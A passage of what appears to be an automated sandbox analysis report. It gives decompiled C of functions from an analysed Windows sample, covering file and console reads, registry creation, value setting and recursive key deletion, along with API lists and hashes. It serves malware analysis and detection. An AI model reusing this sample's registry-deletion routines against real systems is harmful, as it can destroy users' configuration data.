													_t200 = _a4;
													__eflags = _t185 - 0xa;
													if(_t185 != 0xa) {
														__eflags = _t220;
														if(_t220 != 0) {
															 *_t231 = _t185;
															_t232 = _t231 + 1;
															_t221 = _t220 - 1;
															__eflags = _v5 - 1;
															_v24 = _t232;
															_t235 = 2;
															_v16 = _t221;
															 *((char*)(_v20 +  *((intOrPtr*)(0xca49c0 + _v12 * 4)) + 0x2b)) = 0xa;
															_t200 = _a4;
															if(_v5 == 1) {
																_t190 =  *((intOrPtr*)(_v20 +  *((intOrPtr*)(0xca49c0 + _v12 * 4)) + 0x2c));
																_t200 = _a4;
																__eflags = _t190 - 0xa;
																if(_t190 != 0xa) {
																	__eflags = _t221;
																	if(_t221 != 0) {
																		 *_t232 = _t190;
																		_t222 = _t221 - 1;
																		__eflags = _t222;
																		_v16 = _t222;
																		_v24 = _t232 + 1;
																		_t235 = 3;
																		 *((char*)(_v20 +  *((intOrPtr*)(0xca49c0 + _v12 * 4)) + 0x2c)) = 0xa;
																	}
																}
															}
														}
													}
												}
											}
										}
									}
									_t160 = E00C8E4D0(_t200);
									__eflags = _t160;
									if(_t160 == 0) {
										L42:
										_v36 = 0;
										L43:
										_t163 = ReadFile(_v28, _v24, _v16,  &_v32, 0);
										__eflags = _t163;
										if(_t163 == 0) {
											L54:
											_t164 = GetLastError();
											_t235 = 5;
											__eflags = _t164 - _t235;
											if(__eflags != 0) {
												__eflags = _t164 - 0x6d;
												if(_t164 != 0x6d) {
													L38:
													E00C61CF3(_t164);
													goto L39;
												}
												_t236 = 0;
												goto L40;
											}
											 *((intOrPtr*)(E00C61D29(__eflags))) = 9;
											 *(E00C61D16(__eflags)) = _t235;
											goto L39;
										}
										_t217 = _a12;
										__eflags = _v32 - _t217;
										if(_v32 > _t217) {
											goto L54;
										}
										_t236 = _t235 + _v32;
										__eflags = _t236;
										L46:
										_t230 = _v20;
										_t169 =  *((intOrPtr*)(0xca49c0 + _v12 * 4));
										__eflags =  *((char*)(_t230 + _t169 + 0x28));
										if( *((char*)(_t230 + _t169 + 0x28)) < 0) {
											__eflags = _v5 - 2;
											if(_v5 == 2) {
												__eflags = _v36;
												_push(_t236 >> 1);
												_push(_v40);
												_push(_t200);
												if(_v36 == 0) {
													_t170 = E00C7F588();
												} else {
													_t170 = E00C7F914();
												}
											} else {
												_t218 = _t217 >> 1;
												__eflags = _t217 >> 1;
												_t170 = E00C7F7BD(_t217 >> 1, _t217 >> 1, _t200, _v24, _t236, _a8, _t218);
											}
											_t236 = _t170;
										}
										goto L40;
									}
									_t219 = _v20;
									_t172 =  *((intOrPtr*)(0xca49c0 + _v12 * 4));
									__eflags =  *((char*)(_t219 + _t172 + 0x28));
									if( *((char*)(_t219 + _t172 + 0x28)) >= 0) {
										goto L42;
									}
									_t174 = GetConsoleMode(_v28,  &_v44);
									__eflags = _t174;
									if(_t174 == 0) {
										goto L42;
									}
									__eflags = _v5 - 2;
									if(_v5 != 2) {
										goto L43;
									}
									_t178 = ReadConsoleW(_v28, _v24, _v16 >> 1,  &_v32, 0);
									__eflags = _t178;
									if(_t178 != 0) {
										_t217 = _a12;
										_t236 = _t235 + _v32 * 2;
										goto L46;
									}
									_t164 = GetLastError();
									goto L38;
								} else {
									 *((intOrPtr*)(E00C61D29(__eflags))) = 0xc;
									 *(E00C61D16(__eflags)) = 8;
									L39:
									_t236 = _t235 | 0xffffffff;
									__eflags = _t236;
									L40:
									E00C7CA6E(_t240);
									return _t236;
								}
							}
						}
						__eflags = _t228 == 1;
						if(_t228 == 1) {
							__eflags =  !_t210 & 0x00000001;
							if(__eflags != 0) {
								_t229 = _a8;
								_v16 = _t210;
								_v24 = _t229;
								_t143 =  *((intOrPtr*)(0xca49c0 + _v12 * 4));
								goto L22;
							}
							goto L14;
						} else {
							_t229 = _a8;
							_v16 = _t210;
							_v24 = _t229;
							goto L22;
						}
					}
					L6:
					 *(E00C61D16(__eflags)) =  *_t145 & 0x00000000;
					 *((intOrPtr*)(E00C61D29(__eflags))) = 0x16;
					goto L60;
				} else {
					 *(E00C61D16(_t246)) =  *_t197 & 0x00000000;
					_t139 = E00C61D29(_t246);
					 *_t139 = 9;
					L61:
					return _t139 | 0xffffffff;
				}
			}

0x00c7faac
0x00c7fab0
0x00c7fab3
0x00c7facd
0x00c7facf
0x00c7fe34
0x00c7fe34
0x00c7fe39
0x00c7fe39
0x00c7fe41
0x00c7fe47
0x00c7fe47
0x00000000
0x00c7fe47
0x00c7fad5
0x00c7fadb
0x00000000
0x00000000
0x00c7fae5
0x00c7faeb
0x00c7faee
0x00c7faf1
0x00c7fafb
0x00c7fafe
0x00c7fb01
0x00c7fb05
0x00c7fb07
0x00000000
0x00000000
0x00c7fb0d
0x00c7fb10
0x00c7fb16
0x00c7fb30
0x00c7fb32
0x00c7fe30
0x00000000
0x00c7fe30
0x00c7fb38
0x00c7fb3b
0x00000000
0x00000000
0x00c7fb41
0x00c7fb45
0x00000000
0x00000000
0x00c7fb4b
0x00c7fb4e
0x00c7fb52
0x00c7fb59
0x00c7fb5b
0x00c7fb5b
0x00c7fb5e
0x00c7fbb3
0x00c7fbb5
0x00c7fb7b
0x00c7fb80
0x00c7fb87
0x00c7fb8d
0x00000000
0x00c7fbb7
0x00c7fbb9
0x00c7fbba
0x00c7fbbc
0x00c7fbbf
0x00c7fbc1
0x00c7fbc3
0x00c7fbc5
0x00c7fbc5
0x00c7fbd0
0x00c7fbd2
0x00c7fbd9
0x00c7fbde
0x00c7fbe1
0x00c7fbe4
0x00c7fbe6
0x00c7fc0a
0x00c7fc12
0x00c7fc15
0x00c7fc1c
0x00c7fc23
0x00c7fc27
0x00c7fc29
0x00c7fc2c
0x00c7fc33
0x00c7fc33
0x00c7fc36
0x00c7fc38
0x00c7fc3b
0x00c7fc40
0x00c7fc43
0x00c7fc4c
0x00c7fc50
0x00c7fc53
0x00c7fc55
0x00c7fc5b
0x00c7fc5d
0x00c7fc66
0x00c7fc67
0x00c7fc69
0x00c7fc6d
0x00c7fc6e
0x00c7fc72
0x00c7fc75
0x00c7fc7f
0x00c7fc84
0x00c7fc87
0x00c7fc96
0x00c7fc9a
0x00c7fc9d
0x00c7fc9f
0x00c7fca1
0x00c7fca3
0x00c7fca8
0x00c7fcaa
0x00c7fcae
0x00c7fcaf
0x00c7fcb5
0x00c7fcbf
0x00c7fcc0
0x00c7fcc3
0x00c7fcc8
0x00c7fccb
0x00c7fcda
0x00c7fcde
0x00c7fce1
0x00c7fce3
0x00c7fce5
0x00c7fce7
0x00c7fce9
0x00c7fcef
0x00c7fcef
0x00c7fcf0
0x00c7fcff
0x00c7fd02
0x00c7fd03
0x00c7fd03
0x00c7fce7
0x00c7fce3
0x00c7fccb
0x00c7fca3
0x00c7fc9f
0x00c7fc87
0x00c7fc5d
0x00c7fc55
0x00c7fd09
0x00c7fd0f
0x00c7fd11
0x00c7fd84
0x00c7fd84
0x00c7fd88
0x00c7fd98
0x00c7fd9e
0x00c7fda0
0x00c7fdfc
0x00c7fdfc
0x00c7fe04
0x00c7fe05
0x00c7fe07
0x00c7fe20
0x00c7fe23
0x00c7fd60
0x00c7fd61
0x00000000
0x00c7fd66
0x00c7fe29
0x00000000
0x00c7fe29
0x00c7fe0e
0x00c7fe19
0x00000000
0x00c7fe19
0x00c7fda2
0x00c7fda5
0x00c7fda8
0x00000000
0x00000000
0x00c7fdaa
0x00c7fdaa
0x00c7fdad
0x00c7fdb0
0x00c7fdb3
0x00c7fdba
0x00c7fdbf
0x00c7fdc1
0x00c7fdc5
0x00c7fde0
0x00c7fde4
0x00c7fde5
0x00c7fde8
0x00c7fde9
0x00c7fdf5
0x00c7fdeb
0x00c7fdeb
0x00c7fdeb
0x00c7fdc7
0x00c7fdc7
0x00c7fdc7
0x00c7fdd2
0x00c7fdd7
0x00c7fdda
0x00c7fdda
0x00000000
0x00c7fdbf
0x00c7fd16
0x00c7fd19
0x00c7fd20
0x00c7fd25
0x00000000
0x00000000
0x00c7fd2e
0x00c7fd34
0x00c7fd36
0x00000000
0x00000000
0x00c7fd38
0x00c7fd3c
0x00000000
0x00000000
0x00c7fd50
0x00c7fd56
0x00c7fd58
0x00c7fd7c
0x00c7fd7f
0x00000000
0x00c7fd7f
0x00c7fd5a
0x00000000
0x00c7fbe8
0x00c7fbed
0x00c7fbf8
0x00c7fd67
0x00c7fd67
0x00c7fd67
0x00c7fd6a
0x00c7fd6b
0x00000000
0x00c7fd73
0x00c7fbe6
0x00c7fbb5
0x00c7fb60
0x00c7fb63
0x00c7fb77
0x00c7fb79
0x00c7fb9a
0x00c7fb9d
0x00c7fba0
0x00c7fba3
0x00000000
0x00c7fba3
0x00000000
0x00c7fb65
0x00c7fb65
0x00c7fb68
0x00c7fb6b
0x00000000
0x00c7fb6b
0x00c7fb63
0x00c7fb18
0x00c7fb1d
0x00c7fb25
0x00000000
0x00c7fab5
0x00c7faba
0x00c7fabd
0x00c7fac2
0x00c7fe4c
0x00000000
0x00c7fe4c

Memory Dump Source

Source File: 00000002.00000002.208085842.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000002.00000002.208082683.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208116582.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208123710.0000000000CA3000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.208127462.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 65df5160971781e42660f58145ed5b0708b06656b64787c4bf67a7108ca19b07
Instruction ID: 6647ec44bf3be056b8d3e50d8959265af9f215a012c29da717e062c86fb80ef8
Opcode Fuzzy Hash: 65df5160971781e42660f58145ed5b0708b06656b64787c4bf67a7108ca19b07
Instruction Fuzzy Hash: 48C107709042499FDF25DFA9D8C1BAE7BB4FF59310F14816DE928A7392C7709A42CB21

Uniqueness

Uniqueness Score: -1.00%

Function 00C543E0, Relevance: 12.2, APIs: 8, Instructions: 175
registryCOMMON

Download Yara Rule

C-Code - Quality: 67%

			E00C543E0(void* _a4, short* _a8, intOrPtr _a12, short* _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28) {
				void* _v8;
				signed int _v12;
				long _v16;
				short* _v20;
				intOrPtr _v24;
				short* _v28;
				int _v32;
				short* _t64;
				short* _t70;
				short* _t78;
				intOrPtr _t84;
				intOrPtr _t87;
				intOrPtr _t88;
				void* _t108;

				if(_a28 != 0) {
					L9:
					if(_a16 != 0 || _a20 != 0 || _a24 != 0) {
						_t89 = _a4;
						if(RegOpenKeyW(_a4, _a8,  &_v8) == 0) {
							if(_a24 == 0) {
								if(_a16 != 0 || _a20 != 0) {
									if(_a20 == 0) {
										_v28 = _a16;
									} else {
										_v28 = 0;
									}
									if(RegDeleteValueW(_v8, _v28) == 0) {
										goto L36;
									} else {
										RegCloseKey(_v8);
										_push(0x6d);
										E00C53610();
										return 1;
									}
								} else {
									L36:
									RegCloseKey(_v8);
									_push(0x69);
									E00C53610();
									return 0;
								}
							}
							_v12 = 0x100;
							_push(_v12 << 1);
							_t64 = E00C53330(_t89);
							_t108 = _t108 + 4;
							_v20 = _t64;
							while(1 != 0) {
								_v32 = _v12;
								_v16 = RegEnumValueW(_v8, 0, _v20,  &_v32, 0, 0, 0, 0);
								if(_v16 != 0) {
									if(_v16 != 0xea) {
										break;
									}
									_v12 = _v12 << 1;
									_push(_v12 << 1);
									_push(_v20);
									_t70 = E00C53350(_v12 << 1);
									_t108 = _t108 + 8;
									_v20 = _t70;
									L27:
									continue;
								}
								_v16 = RegDeleteValueW(_v8, _v20);
								if(_v16 == 0) {
									goto L27;
								}
								RegCloseKey(_v8);
								_push(_a12);
								_push(0x7c);
								E00C53610();
								return 1;
							}
							goto L36;
						}
						_push(0x6d);
						E00C53610();
						return 1;
					} else {
						_t78 = _a8;
						__imp__RegDeleteTreeW(_a4, _t78);
						if(_t78 == 0) {
							_push(0x69);
							E00C53610();
							return 0;
						}
						_push(0x6d);
						E00C53610();
						return 1;
					}
				}
				if(_a16 != 0 || _a20 != 0) {
					_t84 = E00C51CB0(0x78, _a16);
					_t108 = _t108 + 8;
					_v24 = _t84;
				} else {
					if(_a24 == 0) {
						_t87 = E00C51CB0(0x7a, _a12);
						_t108 = _t108 + 8;
						_v24 = _t87;
					} else {
						_t88 = E00C51CB0(0x79, _a12);
						_t108 = _t108 + 8;
						_v24 = _t88;
					}
				}
				if(_v24 != 0) {
					goto L9;
				} else {
					_push(0x76);
					E00C53610();
					return 0;
				}
			}

0x00c543ea
0x00c5444c
0x00c54450
0x00c5449d
0x00c544a9
0x00c544c3
0x00c54589
0x00c54595
0x00c545a3
0x00c54597
0x00c54597
0x00c54597
0x00c545b6
0x00000000
0x00c545b8
0x00c545bc
0x00c545c2
0x00c545c4
0x00000000
0x00c545cc
0x00c545d3
0x00c545d3
0x00c545d7
0x00c545dd
0x00c545df
0x00000000
0x00c545e7
0x00c54589
0x00c544c9
0x00c544d5
0x00c544d6
0x00c544db
0x00c544de
0x00c544e1
0x00c544f1
0x00c54510
0x00c54517
0x00c5455b
0x00000000
0x00c5457c
0x00c54562
0x00c5456a
0x00c5456e
0x00c5456f
0x00c54574
0x00c54577
0x00c5457e
0x00000000
0x00c5457e
0x00c54527
0x00c5452e
0x00000000
0x00c54552
0x00c54534
0x00c5453d
0x00c5453e
0x00c54540
0x00000000
0x00c54548
0x00000000
0x00c54583
0x00c544ab
0x00c544ad
0x00000000
0x00c5445e
0x00c5445e
0x00c54466
0x00c5446e
0x00c54484
0x00c54486
0x00000000
0x00c5448e
0x00c54470
0x00c54472
0x00000000
0x00c5447a
0x00c54450
0x00c543f0
0x00c543fe
0x00c54403
0x00c54406
0x00c5440b
0x00c5440f
0x00c5442a
0x00c5442f
0x00c54432
0x00c54411
0x00c54417
0x00c5441c
0x00c5441f
0x00c5441f
0x00c5440f
0x00c54439
0x00000000
0x00c5443b
0x00c5443b
0x00c5443d
0x00000000
0x00c54445

APIs

RegDeleteTreeW.ADVAPI32(?,?), ref: 00C54466

Part of subcall function 00C51CB0: GetModuleHandleW.KERNEL32(00000000), ref: 00C51CBB

RegOpenKeyW.ADVAPI32(?,?,?), ref: 00C544A1
RegEnumValueW.ADVAPI32(?,00000000,?,00000000,00000000,00000000,00000000,00000000), ref: 00C5450A
RegDeleteValueW.ADVAPI32(?,?), ref: 00C54521
RegCloseKey.ADVAPI32(?), ref: 00C54534

Memory Dump Source

Source File: 00000002.00000002.208085842.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000002.00000002.208082683.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208116582.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208123710.0000000000CA3000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.208127462.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: DeleteValue$CloseEnumHandleModuleOpenTree
String ID:
API String ID: 1822512987-0
Opcode ID: 2527dddf1c397a18c08d570659f4936552f2f89954fde729bcf671aa7580dfeb
Instruction ID: 30a7b840adbfef424262321e222058788103552d3e8a3e1d9f73fc8d6e699186
Opcode Fuzzy Hash: 2527dddf1c397a18c08d570659f4936552f2f89954fde729bcf671aa7580dfeb
Instruction Fuzzy Hash: BD5193B8D04208EBEF18DF94D849BAE3774AB0830AF504419FD1596280E774DBDCDBA6

Uniqueness

Uniqueness Score: -1.00%

Function 00C54080, Relevance: 12.1, APIs: 8, Instructions: 124
registryCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E00C54080(void* _a4, short* _a8, short* _a12, intOrPtr _a16, intOrPtr _a20, signed short _a24, intOrPtr _a28, intOrPtr _a32) {
				void* _v8;
				int _v12;
				char* _v16;
				int _v20;
				int _t38;
				char* _t40;
				void* _t59;
				void* _t80;
				void* _t81;

				if(RegCreateKeyW(_a4, _a8,  &_v8) == 0) {
					if(_a12 != 0 || _a16 != 0 || _a28 != 0) {
						_v20 = 0;
						_v16 = 0;
						if(_a32 != 0 || RegQueryValueExW(_v8, _a12, 0, 0, 0, 0) != 0) {
							L9:
							_t38 = E00C54CF0(_a20, _a20);
							_t81 = _t80 + 4;
							_v12 = _t38;
							if(_v12 != 0xffffffff) {
								if(_v12 == 4 || _v12 == 5) {
									if(_a28 != 0) {
										goto L15;
									}
									RegCloseKey(_v8);
									_push(0x6b);
									E00C53610();
									return 1;
								} else {
									L15:
									_t40 = E00C52F40(_a28, _v12, _a24 & 0x0000ffff,  &_v20);
									_t80 = _t81 + 0x10;
									_v16 = _t40;
									if(_v16 != 0) {
										RegSetValueExW(_v8, _a12, 0, _v12, _v16, _v20);
										goto L18;
									}
									RegCloseKey(_v8);
									return 1;
								}
							}
							RegCloseKey(_v8);
							_push(_a20);
							_push(0x6e);
							E00C53610();
							return 1;
						} else {
							_t59 = E00C51CB0(0x72, _a12);
							_t80 = _t80 + 8;
							if(_t59 != 0) {
								goto L9;
							}
							RegCloseKey(_v8);
							_push(0x76);
							E00C53610();
							return 0;
						}
					} else {
						L18:
						RegCloseKey(_v8);
						_push(0x69);
						E00C53610();
						return 0;
					}
				}
				_push(0x6a);
				E00C53610();
				return 1;
			}

0x00c5409a
0x00c540b4
0x00c540c6
0x00c540cd
0x00c540d8
0x00c54121
0x00c54125
0x00c5412a
0x00c5412d
0x00c54134
0x00c5415c
0x00c54168
0x00000000
0x00000000
0x00c5416e
0x00c54174
0x00c54176
0x00000000
0x00c54185
0x00c54185
0x00c54196
0x00c5419b
0x00c5419e
0x00c541a5
0x00c541ce
0x00000000
0x00c541ce
0x00c541ab
0x00000000
0x00c541b1
0x00c5415c
0x00c5413a
0x00c54143
0x00c54144
0x00c54146
0x00000000
0x00c540f4
0x00c540fa
0x00c540ff
0x00c54104
0x00000000
0x00000000
0x00c5410a
0x00c54110
0x00c54112
0x00000000
0x00c5411a
0x00c541d4
0x00c541d4
0x00c541d8
0x00c541de
0x00c541e0
0x00000000
0x00c541e8
0x00c540b4
0x00c5409c
0x00c5409e
0x00000000

APIs

RegCreateKeyW.ADVAPI32(?,?,?), ref: 00C54092
RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,00000000,00000000), ref: 00C540EA
RegCloseKey.ADVAPI32(?), ref: 00C5410A

Memory Dump Source

Source File: 00000002.00000002.208085842.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000002.00000002.208082683.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208116582.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208123710.0000000000CA3000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.208127462.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseCreateQueryValue
String ID:
API String ID: 4083198587-0
Opcode ID: 3891ae9bf19e9be38b541f96498d31f011e8aeff77f887a5d780ba4196a6fea4
Instruction ID: cd6c5542ac739aea3759c529f05137d40c93b6ba15d875217a8ac147e06df551
Opcode Fuzzy Hash: 3891ae9bf19e9be38b541f96498d31f011e8aeff77f887a5d780ba4196a6fea4
Instruction Fuzzy Hash: 634190BDE00208EBDF14DFA4DC49BAF33B8AB1830AF104518FD1596280D674DAD8DB55

Uniqueness

Uniqueness Score: -1.00%

Function 00C53700, Relevance: 12.1, APIs: 8, Instructions: 63
fileCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E00C53700(short* _a4, int _a8) {
				int _v8;
				char* _v12;
				int _v16;
				long _v20;
				int _t20;

				_t20 = WriteConsoleW(GetStdHandle(0xfffffff5), _a4, _a8,  &_v20, 0);
				_v16 = _t20;
				if(_v16 == 0) {
					_v8 = WideCharToMultiByte(GetConsoleOutputCP(), 0, _a4, _a8, 0, 0, 0, 0);
					_push(_v8);
					_v12 = E00C53330(_a4);
					WideCharToMultiByte(GetConsoleOutputCP(), 0, _a4, _a8, _v12, _v8, 0, 0);
					return WriteFile(GetStdHandle(0xfffffff5), _v12, _v8,  &_v20, 0);
				}
				return _t20;
			}

0x00c5371d
0x00c53723
0x00c5372a
0x00c5374b
0x00c53751
0x00c5375a
0x00c5377a
0x00000000
0x00c53797
0x00c537a0

APIs

GetStdHandle.KERNEL32(000000F5,00C53625,00C535F8,?,00000000,?,00C535F8,00C53625,00000000,00C53625), ref: 00C53716
WriteConsoleW.KERNEL32(00000000,?,00C535F8,00C53625,00000000,00C53625), ref: 00C5371D
GetConsoleOutputCP.KERNEL32(00000000,00C53625,00000000,00000000,00000000,00000000,00000000), ref: 00C5373E
WideCharToMultiByte.KERNEL32(00000000), ref: 00C53745
GetConsoleOutputCP.KERNEL32(00000000,00C53625,00000000,00C53625,00000000,00000000,00000000), ref: 00C53773
WideCharToMultiByte.KERNEL32(00000000), ref: 00C5377A
GetStdHandle.KERNEL32(000000F5,00C53625,00000000,?,00000000), ref: 00C53790
WriteFile.KERNEL32(00000000), ref: 00C53797

Memory Dump Source

Source File: 00000002.00000002.208085842.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000002.00000002.208082683.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208116582.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208123710.0000000000CA3000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.208127462.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: Console$ByteCharHandleMultiOutputWideWrite$File
String ID:
API String ID: 1448463146-0
Opcode ID: 6fc09c1266a42647d916bddc75c7178e7e6df8854c19b3d1da32e9b2ca24811b
Instruction ID: bdc5032a2e9b2f04ede9015da029878219b41e686aef3a04490bdfae8653ce50
Opcode Fuzzy Hash: 6fc09c1266a42647d916bddc75c7178e7e6df8854c19b3d1da32e9b2ca24811b
Instruction Fuzzy Hash: 31119CB6A40208BFEB00DBD8DC4AFAE7778EB4C751F108149FA29D6190D671AA448B65

Uniqueness

Uniqueness Score: -1.00%

Function 00C79043, Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 285
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E00C79043(void* __ebx, void* __ecx, signed int __edx, void* __edi, void* __esi, void* __eflags, intOrPtr _a4, signed int _a8, intOrPtr _a12) {
				signed int _v8;
				short _v270;
				short _v272;
				char _v528;
				char _v700;
				signed int _v704;
				short _v706;
				signed int* _v708;
				signed int _v712;
				signed int _v716;
				signed int _v720;
				signed int* _v724;
				intOrPtr _v728;
				signed int _v732;
				signed int _v736;
				signed int _v740;
				signed int _v744;
				signed short _v772;
				void* __ebp;
				signed int _t147;
				void* _t154;
				signed int _t155;
				signed int _t157;
				signed int _t158;
				intOrPtr _t159;
				signed int _t162;
				signed int _t164;
				intOrPtr _t165;
				signed int _t168;
				signed int _t170;
				void* _t171;
				signed int _t177;
				signed int _t178;
				signed int _t180;
				signed int _t181;
				signed int _t199;
				signed int _t201;
				signed int _t203;
				signed int _t208;
				signed int _t210;
				void* _t211;
				signed int _t218;
				intOrPtr* _t219;
				signed int _t228;
				intOrPtr _t231;
				intOrPtr* _t232;
				signed int _t234;
				signed int* _t238;
				signed int _t239;
				intOrPtr _t246;
				void* _t247;
				void* _t250;
				signed int _t252;
				signed int _t254;
				signed int _t257;
				signed int* _t258;
				intOrPtr* _t259;
				short _t260;
				signed int _t261;
				void* _t263;
				void* _t264;
				void* _t265;

				_t244 = __edx;
				_t147 =  *0xca3098; // 0x75d6936a
				_v8 = _t147 ^ _t261;
				_push(__ebx);
				_t210 = _a8;
				_push(__esi);
				_push(__edi);
				_t246 = _a4;
				_v736 = _t210;
				_v724 = E00C7B398(__ecx, __edx) + 0x278;
				_t154 = E00C784CA(__edx, _a12,  &_v272, 0x83,  &_v700, 0x55,  &_v712);
				_t264 = _t263 + 0x18;
				if(_t154 == 0) {
					L39:
					_t155 = 0;
					__eflags = 0;
					goto L40;
				} else {
					_t10 = _t210 + 2; // 0x2
					_t252 = _t10 << 4;
					_t157 =  &_v272;
					_v716 = _t252;
					_t244 =  *(_t252 + _t246);
					_t218 = _t244;
					while(1) {
						_v704 = _v704 & 0x00000000;
						_t254 = _v716;
						if( *_t157 !=  *_t218) {
							break;
						}
						if( *_t157 == 0) {
							L6:
							_t158 = _v704;
						} else {
							_t260 =  *((intOrPtr*)(_t157 + 2));
							_v706 = _t260;
							_t254 = _v716;
							if(_t260 !=  *((intOrPtr*)(_t218 + 2))) {
								break;
							} else {
								_t157 = _t157 + 4;
								_t218 = _t218 + 4;
								if(_v706 != 0) {
									continue;
								} else {
									goto L6;
								}
							}
						}
						L8:
						if(_t158 != 0) {
							_t219 =  &_v272;
							_t244 = _t219 + 2;
							do {
								_t159 =  *_t219;
								_t219 = _t219 + 2;
								__eflags = _t159 - _v704;
							} while (_t159 != _v704);
							_v720 = (_t219 - _t244 >> 1) + 1;
							_t162 = E00C7CAA8(4 + ((_t219 - _t244 >> 1) + 1) * 2);
							_v732 = _t162;
							__eflags = _t162;
							if(_t162 == 0) {
								goto L39;
							} else {
								_v728 =  *((intOrPtr*)(_t254 + _t246));
								_v740 =  *(_t246 + 0xa0 + _t210 * 4);
								_v744 =  *(_t246 + 8);
								_v708 = _t162 + 4;
								_t164 = E00C8040D(_t162 + 4, _v720,  &_v272);
								_t265 = _t264 + 0xc;
								__eflags = _t164;
								if(_t164 != 0) {
									_t165 = _v728;
									_push(_t165);
									_push(_t165);
									_push(_t165);
									_push(_t165);
									_push(_t165);
									E00C7B914();
									asm("int3");
									_push(_t261);
									_t168 = (_v772 & 0x0000ffff) - 0x2d;
									__eflags = _t168;
									if(_t168 == 0) {
										L51:
										__eflags = 0;
										return 0;
									} else {
										_t170 = _t168 - 1;
										__eflags = _t170;
										if(_t170 == 0) {
											_t171 = 2;
											return _t171;
										} else {
											__eflags = _t170 == 0x31;
											if(_t170 == 0x31) {
												goto L51;
											} else {
												__eflags = 1;
												return 1;
											}
										}
									}
								} else {
									__eflags = _v272 - 0x43;
									 *((intOrPtr*)(_t254 + _t246)) = _v708;
									if(_v272 != 0x43) {
										L17:
										_t177 = E00C78150(_t210, _t246,  &_v700);
										_t228 = _v704;
									} else {
										__eflags = _v270;
										if(_v270 != 0) {
											goto L17;
										} else {
											_t228 = _v704;
											_t177 = _t228;
										}
									}
									 *(_t246 + 0xa0 + _t210 * 4) = _t177;
									__eflags = _t210 - 2;
									if(_t210 != 2) {
										__eflags = _t210 - 1;
										if(_t210 != 1) {
											__eflags = _t210 - 5;
											if(_t210 == 5) {
												 *((intOrPtr*)(_t246 + 0x14)) = _v712;
											}
										} else {
											 *((intOrPtr*)(_t246 + 0x10)) = _v712;
										}
									} else {
										_t258 = _v724;
										_t244 = _t228;
										_t238 = _t258;
										 *(_t246 + 8) = _v712;
										_v708 = _t258;
										_v720 = _t258[8];
										_v712 = _t258[9];
										while(1) {
											__eflags =  *(_t246 + 8) -  *_t238;
											if( *(_t246 + 8) ==  *_t238) {
												break;
											}
											_t259 = _v708;
											_t244 = _t244 + 1;
											_t208 =  *_t238;
											 *_t259 = _v720;
											_v712 = _t238[1];
											_t238 = _t259 + 8;
											 *((intOrPtr*)(_t259 + 4)) = _v712;
											_t210 = _v736;
											_t258 = _v724;
											_v720 = _t208;
											_v708 = _t238;
											__eflags = _t244 - 5;
											if(_t244 < 5) {
												continue;
											} else {
											}
											L25:
											__eflags = _t244 - 5;
											if(__eflags == 0) {
												_t199 = E00C84D86(_t244, __eflags, _v704, 1, 0xc9ae50, 0x7f,  &_v528,  *(_t246 + 8), 1);
												_t265 = _t265 + 0x1c;
												__eflags = _t199;
												if(_t199 == 0) {
													_t239 = _v704;
												} else {
													_t201 = _v704;
													do {
														 *(_t261 + _t201 * 2 - 0x20c) =  *(_t261 + _t201 * 2 - 0x20c) & 0x000001ff;
														_t201 = _t201 + 1;
														__eflags = _t201 - 0x7f;
													} while (_t201 < 0x7f);
													_t203 = E00C95FA5( &_v528,  *0xca30d0, 0xfe);
													_t265 = _t265 + 0xc;
													__eflags = _t203;
													_t239 = 0 | _t203 == 0x00000000;
												}
												_t258[1] = _t239;
												 *_t258 =  *(_t246 + 8);
											}
											 *(_t246 + 0x18) = _t258[1];
											goto L37;
										}
										__eflags = _t244;
										if(_t244 != 0) {
											 *_t258 =  *(_t258 + _t244 * 8);
											_t258[1] =  *(_t258 + 4 + _t244 * 8);
											 *(_t258 + _t244 * 8) = _v720;
											 *(_t258 + 4 + _t244 * 8) = _v712;
										}
										goto L25;
									}
									L37:
									_t178 = _t210 * 0xc;
									_t106 = _t178 + 0xc9aed8; // 0xc77990
									 *0xc991a4(_t246);
									_t180 =  *((intOrPtr*)( *_t106))();
									_t231 = _v728;
									__eflags = _t180;
									if(_t180 == 0) {
										__eflags = _t231 - 0xca31a8;
										if(_t231 == 0xca31a8) {
											L44:
											_t181 = _v716;
										} else {
											_t257 = _t210 + _t210;
											__eflags = _t257;
											asm("lock xadd [eax], ecx");
											if(_t257 != 0) {
												goto L44;
											} else {
												E00C7CA6E( *((intOrPtr*)(_t246 + 0x28 + _t257 * 8)));
												E00C7CA6E( *((intOrPtr*)(_t246 + 0x24 + _t257 * 8)));
												E00C7CA6E( *(_t246 + 0xa0 + _t210 * 4));
												_t181 = _v716;
												_t234 = _v704;
												 *(_t181 + _t246) = _t234;
												 *(_t246 + 0xa0 + _t210 * 4) = _t234;
											}
										}
										_t232 = _v732;
										 *_t232 = 1;
										_t155 =  *(_t181 + _t246);
										 *((intOrPtr*)(_t246 + 0x28 + (_t210 + _t210) * 8)) = _t232;
									} else {
										 *((intOrPtr*)(_v716 + _t246)) = _t231;
										E00C7CA6E( *(_t246 + 0xa0 + _t210 * 4));
